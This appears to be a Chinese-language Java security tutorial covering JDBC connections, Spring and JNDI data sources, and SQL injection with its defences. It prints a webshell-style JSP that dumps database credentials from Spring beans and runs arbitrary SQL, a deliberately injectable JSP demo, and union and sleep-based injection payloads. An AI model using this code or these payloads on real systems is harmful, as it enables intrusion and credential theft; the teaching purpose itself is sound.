給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!
1 JDBC基礎
JDBC(Java Database Connectivity)是Java提供對數據庫進行連接、操作的標準API。Java自身并不會去實現對數據庫的連接、查詢、更新等操作而是通過抽象出數據庫操作的API接口(JDBC),
不同的數據庫提供商必須實現JDBC定義的接口從而也就實現了對數據庫的一系列操作。
2 JDBCConnection
2.1連接
Java通過java.sql.DriverManager來管理所有數據庫的驅動注冊,所以如果想要建立數據庫連接需要先在java.sql.DriverManager中注冊對應的驅動類,然后調用getConnection方法才能連接上數據庫。
JDBC定義了一個叫 java.sql.Driver 的接口類負責實現對數據庫的連接,所有的數據庫驅動包都必須實現這個接口才能完成數據庫的連接、 **java.sql.DriverManager.getConnection(xx)**其實就是簡介的調用了java.sql.Driver 類的connect 方法 實現數據庫連接。 數據庫連接成功會返回一個叫 java.sql.Connection 的數據庫連接對象, 一切對數據庫的查詢操作都依賴這個 Connection 對象
JDBC連接數據庫的一般步驟:
1 注冊驅動,Class.forName("數據庫驅動的類名")
2 獲取連接, DriverManager.getConnetion(xxx)
JDBC連接數據庫示例代碼如下
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";Class.forName(CLASS_NAME);// 注冊JDBC驅動類
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
2.2 數據庫配置
傳統的Web應用的數據庫配置信息一般都是存放在WEB-INF目錄下的*.properties、.yml、.xml中的,如果是Spring Boot項目的話一般都會存儲在jar包中的src/main/resources/目錄下。常見的存儲數據庫配置信息的文件路徑如:WEB-INF/applicationContext.xml、WEB-INF/hibernate.cfg.xml、WEB-INF/jdbc/jdbc.properties,一般情況下使用find命令加關鍵字可以輕松的找出來,如查找Mysql配置信息: find 路徑 -type f |xargs grep “com.mysql.jdbc.Driver”。
為什么需要Class.forName?
很多人不理解為什么第一步必須是Class.forName(CLASS_NAME);// 注冊JDBC驅動類,因為他們永遠不會跟進驅動包去一探究竟。
實際上這一步是利用了Java反射+類加載機制往DriverManager中注冊了驅動包!
Class.forName(“com.mysql.jdbc.Driver”)實際上會觸發類加載,com.mysql.jdbc.Driver類將會被初始化,所以static靜態語句塊中的代碼也將會被執行,所以看似毫無必要的Class.forName其實也是暗藏玄機的。如果反射某個類又不想初始化類方法有兩種途徑:
1.
使用Class.forName(“xxxx”, false, loader)方法,將第二個參數傳入false。
2.
ClassLoader.load(“xxxx”);
Class.forName可以省去嗎?
連接數據庫就必須Class.forName(xxx)幾乎已經成為了絕大部分人認為的既定事實而不可改變,但是某些人會發現刪除Class.forName一樣可以連接數據庫這又作何解釋?
實際上這里又利用了Java的一大特性:Java SPI(Service Provider Interface),因為DriverManager在初始化的時候會調用java.util.ServiceLoader類提供的SPI機制,Java會自動掃描jar包中的META-INF/services目錄下的文件,并且還會自動的Class.forName(文件中定義的類),這也就解釋了為什么不需要Class.forName也能夠成功連接數據庫的原因了。
Mysql驅動包示例:
2.3 JDBC數據庫連接總結
使用JDBC連接數據相對于PHP直接使用mysql_connect/mysqli_connect函數就可以完成數據庫連接來說的確難了很多,但是其中也暗藏了很多Java的特性需要我們去深入理解。
或許您會有所疑問我們為什么非要搞明白Class.forName這個問題?這個問題和Java安全有必然的聯系嗎?其實這里只是想讓大家明白Java反射、類加載機制、和SPI機制以及養成閱讀JDK或者第三方庫代碼的習慣,也希望不明白上述機制的朋友深入去理解思考下。
學習完本節后希望您能去思考如下問題:
1.
SPI機制是否有安全性問題?
2.
Java反射有那些安全問題?
3.
Java類加載機制是什么?
4.
數據庫連接時密碼安全問題?
5.
使用JDBC如何寫一個通用的數據庫密碼爆破模塊?
3 Datasource 數據源
3.1. DataSource
在真實的Java項目中通常不會使用原生的JDBC的DriverManager去連接數據庫,而是使用數據源(javax.sql.DataSource)來代替DriverManager管理數據庫的連接。一般情況下在Web服務啟動時候會預先定義好數據源,有了數據源程序就不再需要編寫任何數據庫連接相關的代碼了,直接引用DataSource對象即可獲取數據庫連接了。
常見的數據源有:DBCP、C3P0、Druid、Mybatis DataSource,他們都實現于javax.sql.DataSource接口。
3.2 Spring MVC 數據源
在Spring MVC中我們可以自由的選擇第三方數據源,通常我們會定義一個DataSource Bean用于配置和初始化數據源對象,然后在Spring中就可以通過Bean注入的方式獲取數據源對象了。
在基于XML配置的SpringMVC中配置數據源:
<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close"><property name="url" value="${jdbc.url}"/><property name="username" value="${jdbc.username}"/><property name="password" value="${jdbc.password}"/>..../>
如上,我們定義了一個id為dataSource的Spring Bean對象,username和password都使用了jdbc.XXX表示,很明顯{jdbc.XXX}表示,很明顯jdbc.XXX表示,很明顯{jdbc.username}并不是數據庫的用戶名,這其實是采用了Spring的property-placeholder制定了一個properties文件,使用${jdbc.username}其實會自動自定義的properties配置文件中的配置信息。
<context:property-placeholder location="classpath:/config/jdbc.properties"/>
jdbc.properties內容:
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=root
在Spring中我們只需要通過引用這個Bean就可以獲取到數據源了,比如在Spring JDBC中通過注入數據源(ref=“dataSource”)就可以獲取到上面定義的dataSource。
<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false"><property name="dataSource" ref="dataSource"/>
</bean>
SpringBoot配置數據源:
在SpringBoot中只需要在application.properties或application.yml中定義spring.datasource.xxx即可完成DataSource配置。
spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
Spring 數據源Hack
我們通常可以通過查找Spring數據庫配置信息找到數據庫賬號密碼,但是很多時候我們可能會找到非常多的配置項甚至是加密的配置信息,這將會讓我們非常的難以確定真實的數據庫配置信息。某些時候在授權滲透測試的情況下我們可能會需要傳個shell嘗試性的連接下數據庫(高危操作,請勿違法!)證明下危害,那么您可以在webshell中使用注入數據源的方式來獲取數據庫連接對象,甚至是讀取數據庫密碼(切記不要未經用戶授權違規操作!)。
spring-datasource.jsp獲取數據源/執行SQL語句示例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>th, td {border: 1px solid #C1DAD7;font-size: 12px;padding: 6px;color: #4f6b72;}
</style>
<%!// C3PO數據源類private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";// DBCP數據源類private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";//Druid數據源類private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";/*** 獲取所有Spring管理的數據源* @param ctx Spring上下文* @return 數據源數組*/List<DataSource> getDataSources(ApplicationContext ctx) {List<DataSource> dataSourceList = new ArrayList<DataSource>();String[] beanNames = ctx.getBeanDefinitionNames();for (String beanName : beanNames) {Object object = ctx.getBean(beanName);if (object instanceof DataSource) {dataSourceList.add((DataSource) object);}}return dataSourceList;}/*** 打印Spring的數據源配置信息,當前只支持DBCP/C3P0/Druid數據源類* @param ctx Spring上下文對象* @return 數據源配置字符串* @throws ClassNotFoundException 數據源類未找到異常* @throws NoSuchMethodException 反射調用時方法沒找到異常* @throws InvocationTargetException 反射調用異常* @throws IllegalAccessException 反射調用時不正確的訪問異常*/String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,NoSuchMethodException, InvocationTargetException, IllegalAccessException {List<DataSource> dataSourceList = getDataSources(ctx);for (DataSource dataSource : dataSourceList) {String className = dataSource.getClass().getName();String url = null;String UserName = null;String PassWord = null;if (C3P0_CLASS_NAME.equals(className)) {Class clazz = Class.forName(C3P0_CLASS_NAME);url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);UserName = (String) clazz.getMethod("getUser").invoke(dataSource);PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);} else if (DBCP_CLASS_NAME.equals(className)) {Class clazz = Class.forName(DBCP_CLASS_NAME);url = (String) clazz.getMethod("getUrl").invoke(dataSource);UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);} else if (DRUID_CLASS_NAME.equals(className)) {Class clazz = Class.forName(DRUID_CLASS_NAME);url = (String) clazz.getMethod("getUrl").invoke(dataSource);UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);}return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";}return null;}
%>
<%String sql = request.getParameter("sql");// 定義需要執行的SQL語句// 獲取Spring的ApplicationContext對象ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());// 獲取Spring中所有的數據源對象List<DataSource> dataSourceList = getDataSources(ctx);// 檢查是否獲取到了數據源if (dataSourceList == null) {out.println("未找到任何數據源配置信息!");return;}out.println("<hr/>");out.println("Spring DataSource配置信息獲取測試:");out.println("<hr/>");out.print(printDataSourceConfig(ctx));out.println("<hr/>");// 定義需要查詢的SQL語句sql = sql != null ? sql : "select version()";for (DataSource dataSource : dataSourceList) {out.println("<hr/>");out.println("SQL語句:<font color='red'>" + sql + "</font>");out.println("<hr/>");//從數據源中獲取數據庫連接對象Connection connection = dataSource.getConnection();// 創建預編譯查詢對象PreparedStatement pstt = connection.prepareStatement(sql);// 執行查詢并獲取查詢結果對象ResultSet rs = pstt.executeQuery();out.println("<table><tr>");// 獲取查詢結果的元數據對象ResultSetMetaData metaData = rs.getMetaData();// 從元數據中獲取字段信息for (int i = 1; i <= metaData.getColumnCount(); i++) {out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");}out.println("<tr/>");// 獲取JDBC查詢結果while (rs.next()) {out.println("<tr>");for (int i = 1; i <= metaData.getColumnCount(); i++) {out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");}out.println("<tr/>");}rs.close();pstt.close();}
%>
讀取數據源信息和執行SQL語句效果:
上面的代碼不需要手動去配置文件中尋找任何信息就可以直接讀取出數據庫配置信息甚至是執行SQL語句,其實是利用了Spring的ApplicationContext遍歷了當前Web應用中Spring管理的所有的Bean,然后找出所有DataSource的對象,通過反射讀取出C3P0、DBCP、Druid這三類數據源的數據庫配置信息,最后還利用了DataSource獲取了Connection對象實現了數據庫查詢功能。
3.3 Java Web Server 數據源
除了第三方數據源庫實現,標準的Web容器自身也提供了數據源服務,通常會在容器中配置DataSource信息并注冊到JNDI(Java Naming and Directory Interface)中,在Web應用中我們可以通過JNDI的接口lookup(定義的JNDI路徑)來獲取到DataSource對象。
Tomcat JNDI DataSource
Tomcat配置JNDI數據源需要手動修改Tomcat目錄/conf/context.xml文件,
參考
https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html
<Context><Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"maxTotal="100" maxIdle="30" maxWaitMillis="10000"username="root" password="root" driverClassName="com.mysql.jdbc.Driver"url="jdbc:mysql://localhost:3306/mysql"/></Context>
Resin JNDI DataSourceResin
需要修改resin.xml,添加database配置,
參考:Resin Database configuration
在這里插入代碼片
<database jndi-name='jdbc/test'><driver type="com.mysql.jdbc.Driver"><url>jdbc:mysql://localhost:3306/mysql</url><user>root</user><password>root</password></driver>
</database>
4 JDBC sql 注入
4.1 sql注入
SQL注入(SQL injection)是因為應用程序在執行SQL語句的時候沒有正確的處理用戶輸入字符串,將用戶輸入的惡意字符串拼接到了SQL語句中執行,從而導致了SQL注入。
SQL注入是一種原理非常簡單且危害程度極高的惡意攻擊,我們可以理解為不同程序語言的注入方式是一樣的。
本章節只討論基于JDBC查詢的SQL注入,暫不討論基于ORM實現的框架注入,也不會過多的討論注入的深入用法、函數等。
4.2 sql注入示例
在SQL注入中如果需要我們手動閉合SQL語句的’的注入類型稱為字符型注入、反之成為整型注入。字符型注入
假設程序想通過用戶名查詢用戶個人信息,那么它最終執行的SQL語句可能是這樣:
select host,user from mysql.user where user = '用戶輸入的用戶名'
正常情況下用戶只需傳入自己的用戶名,如:root,程序會自動拼成一條完整的SQL語句:
select host,user from mysql.user where user = 'root'
查詢結果如下:
mysql> select host,user from mysql.user where user = 'root';
+-----------+------+
| host | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)
但假設黑客傳入了惡意的字符串:root’ and 1=2 union select 1,'2去閉合SQL語句,那么SQL語句的含義將會被改變:
select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2'
查詢結果如下:
mysql> select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2';
+------+------+
| host | user |
+------+------+
| 1 | 2 |
+------+------+
1 row in set (0.00 sec)
Java代碼片段如下:
// 獲取用戶傳入的用戶名
String user = request.getParameter("user");// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL
// 語句當中,從而導致了SQL注入漏洞。
String sql = "select host,user from mysql.user where user = '" + user + "'";// 創建預編譯對象
PreparedStatement pstt = connection.prepareStatement(sql);// 執行SQL語句并獲取返回結果對象
ResultSet rs = pstt.executeQuery();
如上示例程序,sql變量拼接了我們傳入的用戶名字符串并調用executeQuery方法執行了含有惡意攻擊的SQL語句。我們只需要在用戶傳入的user參數中拼湊一個能夠閉合SQL語句又不影響SQL語法的惡意字符串即可實現SQL注入攻擊!需要我們使用’(單引號)閉合的SQL注入漏洞我們通常叫做字符型SQL注入。
快速檢測字符串類型注入方式
在滲透測試中我們判斷字符型注入點最快速的方式就是在參數值中加’(單引號),如:http://localhost/1.jsp?id=1’,如果頁面返回500錯誤或者出現異常的情況下我們通常可以初步判定該參數可能存在注入。
字符型注入測試
示例程序包含了一個存在字符型注入的Demo,測試時請自行修改數據庫賬號密碼,user參數參數存在注入。
sql-injection.jsp:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.io.StringWriter" %>
<%@ page import="java.io.PrintWriter" %>
<style>table {border-collapse: collapse;}th, td {border: 1px solid #C1DAD7;font-size: 12px;padding: 6px;color: #4f6b72;}
</style>
<%!// 數據庫驅動類名public static final String CLASS_NAME = "com.mysql.jdbc.Driver";// 數據庫鏈接字符串public static final String URL = "jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false";// 數據庫用戶名public static final String USERNAME = "root";// 數據庫密碼public static final String PASSWORD = "root";Connection getConnection() throws SQLException, ClassNotFoundException {Class.forName(CLASS_NAME);// 注冊JDBC驅動類return DriverManager.getConnection(URL, USERNAME, PASSWORD);}%>
<%String user = request.getParameter("user");if (user != null) {Connection connection = null;try {// 建立數據庫連接connection = getConnection();// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL// 語句當中,從而導致了SQL注入漏洞。
// String sql = "select host,user from mysql.user where user = ? ";String sql = "select host,user from mysql.user where user = '" + user + "'";out.println("SQL:" + sql);out.println("<hr/>");// 創建預編譯對象PreparedStatement pstt = connection.prepareStatement(sql);
// pstt.setObject(1, user);// 執行SQL語句并獲取返回結果對象ResultSet rs = pstt.executeQuery();out.println("<table><tr>");out.println("<th>主機</th>");out.println("<th>用戶</th>");out.println("<tr/>");// 輸出SQL語句執行結果while (rs.next()) {out.println("<tr>");// 獲取SQL語句中查詢的字段值out.println("<td>" + rs.getObject("host") + "</td>");out.println("<td>" + rs.getObject("user") + "</td>");out.println("<tr/>");}out.println("</table>");// 關閉查詢結果rs.close();// 關閉預編譯對象pstt.close();} catch (Exception e) {// 輸出異常信息到瀏覽器StringWriter sw = new StringWriter();e.printStackTrace(new PrintWriter(sw));out.println(sw);} finally {// 關閉數據庫連接connection.close();}}
%>
正常請求,查詢用戶名為root的用戶信息測試:
http://localhost:8080/sql-injection.jsp?user=root
提交含有’(單引號)的注入語句測試:
http://localhost:8080/sql-injection.jsp?user=root’
如果用戶屏蔽了異常信息的顯示我們就無法直接通過頁面信息確認是否是注入,但是我們可以通過后端響應的狀態碼來確定是否是注入點,如果返回的狀態碼為500,那么我們就可以初步的判定user參數存在注入了。
提交讀取Mysql用戶名和版本號注入語句測試:
http://localhost:8080/sql-injection.jsp?user=root’ and 1=2 union select user(),version() --%20
這里使用了-- (–空格,空格可以使用%20代替)來注釋掉SQL語句后面的’(單引號),當然我們同樣也可以使用#(井號,URL傳參的時候必須傳URL編碼后的值:%23)注釋掉’。
整型注入
假設我們執行的SQL語句是:
select id, username, email from sys_user where id = 用戶ID
查詢結果如下:
mysql> select id, username, email from sys_user where id = 1;
+----+----------+-------------------+
| id | username | email |
+----+----------+-------------------+
| 1 | yzmm | admin@javaweb.org |
+----+----------+-------------------+
1 row in set (0.01 sec)
假設程序預期用戶輸入一個數字類型的參數作為查詢條件,且輸入內容未經任何過濾直接就拼到了SQL語句當中,那么也就產生了一種名為整型SQL注入的漏洞。
對應的程序代碼片段:
// 獲取用戶傳入的用戶IDString id = request.getParameter("id");// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL// 語句當中,從而導致了SQL注入漏洞。String sql = "select id, username, email from sys_user where id =" + id;// 創建預編譯對象PreparedStatement pstt = connection.prepareStatement(sql);// 執行SQL語句并獲取返回結果對象ResultSet rs = pstt.executeQuery();
快速檢測整型注入方式整型注入相比字符型更容易檢測,使用參數值添加’(單引號)的方式或者使用運算符、數據庫子查詢、睡眠函數(一定慎用!如:sleep)等。
檢測方式示例:
id=2-1
id=(2)
id=(select 2 from dual)
id=(select 2)
盲注時不要直接使用sleep(n)!例如: id=sleep(3)
對應的SQL語句select username from sys_user where id = sleep(3)
執行結果如下:
mysql> select username from sys_user where id= sleep(3);
Empty set (24.29 sec)
為什么只是sleep了3秒鐘最終變成了24秒?因為sleep語句執行了select count(1) from sys_user遍!當前sys_user表因為有8條數據所以執行了8次。
如果非要使用sleep的方式可以使用子查詢的方式代替:
為什么只是sleep了3秒鐘最終變成了24秒?因為sleep語句執行了select count(1) from sys_user遍!當前sys_user表因為有8條數據所以執行了8次。
如果非要使用sleep的方式可以使用子查詢的方式代替:
id=2 union select 1, sleep(3)
查詢結果如下:
mysql> select username,email from sys_user where id=1 union select 1, sleep(3);
+----------+-------------------+
| username | email |
+----------+-------------------+
| yzmm | admin@javaweb.org |
| 1 | 0 |
+----------+-------------------+
2 rows in set (3.06 sec)
4.3 sql注入防御
既然我們學會了如何提交惡意的注入語句,那么我們到底應該如何去防御注入呢?通常情況下我們可以使用以下方式來防御SQL注入攻擊:
1.
轉義用戶請求的參數值中的’(單引號)、"(雙引號)。
2.
限制用戶傳入的數據類型,如預期傳入的是數字,那么使用:Integer.parseInt()/Long.parseLong等轉換成整型。
3.
使用PreparedStatement對象提供的SQL語句預編譯。
切記只過濾’(單引號)或"(雙引號)并不能有效的防止整型注入,但是可以有效的防御字符型注入。解決注入的根本手段應該使用參數預編譯的方式。
PreparedStatement SQL預編譯查詢
將上面存在注入的Java代碼改為?(問號)占位的方式即可實現SQL預編譯查詢。
示例代碼片段:
// 獲取用戶傳入的用戶ID
String id = request.getParameter("id");// 定義最終執行的SQL語句,這里會將用戶從請求中傳入的host字符串拼接到最終的SQL
// 語句當中,從而導致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =? ";// 創建預編譯對象
PreparedStatement pstt = connection.prepareStatement(sql);// 設置預編譯查詢的第一個參數值
pstt.setObject(1, id);// 執行SQL語句并獲取返回結果對象
ResultSet rs = pstt.executeQuery();
需要特別注意的是并不是使用PreparedStatement來執行SQL語句就沒有注入漏洞,而是將用戶傳入部分使用?(問號)占位符表示并使用PreparedStatement預編譯SQL語句才能夠防止注入!
JDBC預編譯
可能很多人都會有一個疑問:JDBC中使用PreparedStatement對象的SQL語句究竟是如何實現預編譯的?接下來我們將會以Mysql驅動包為例,深入學習JDBC預編譯實現。
JDBC預編譯查詢分為客戶端預編譯和服務器端預編譯,對應的URL配置項是:useServerPrepStmts,當useServerPrepStmts為false時使用客戶端(驅動包內完成SQL轉義)預編譯,useServerPrepStmts為true時使用數據庫服務器端預編譯。
數據庫服務器端預編譯
JDBC URL配置示例:
jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=true
帶碼片段:
String sql = "select host,user from mysql.user where user = ? ";PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);
使用JDBC的PreparedStatement查詢數據包如下:
客戶端預編譯JDBC URL配置示例:
jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=false
代碼片段:
String sql = "select host,user from mysql.user where user = ? ";PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);
使用JDBC的PreparedStatement查詢數據包如下:
預編譯前的值為root’,預編譯后的值為’root’',和我們通過WireShark抓包的結果一致。
Mysql預編譯
Mysql默認提供了預編譯命令:prepare,使用prepare命令可以在Mysql數據庫服務端實現預編譯查詢。
prepare查詢示例:
prepare stmt from 'select host,user from mysql.user where user = ?';set @username='root';execute stmt using @username;
查詢結果如下:
mysql> prepare stmt from 'select host,user from mysql.user where user = ?';
Query OK, 0 rows affected (0.00 sec)
Statement preparedmysql> set @username='root';
Query OK, 0 rows affected (0.00 sec)mysql> execute stmt using @username;
+-----------+------+
| host | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)